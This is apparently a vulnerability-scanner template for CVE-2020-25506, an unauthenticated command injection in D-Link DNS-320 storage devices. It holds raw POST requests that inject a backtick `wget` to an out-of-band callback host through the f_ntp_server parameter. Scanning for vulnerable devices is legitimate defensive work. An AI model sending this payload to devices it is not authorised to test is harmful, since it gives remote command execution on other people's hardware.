37 lines
1.2 KiB
YAML
37 lines
1.2 KiB
YAML
id: CVE-2020-25506
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info:
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name: D-Link DNS-320 - Unauthenticated Remote Code Execution
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author: gy741
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severity: critical
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description: The exploit targets a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
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reference:
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- https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
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- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
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tags: cve,cve2020,dlink,rce,oast,mirai
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2020-25506
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cwe-id: CWE-78
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requests:
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- raw:
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POST /cgi-bin/system_mgr.cgi? HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}`
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- |
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POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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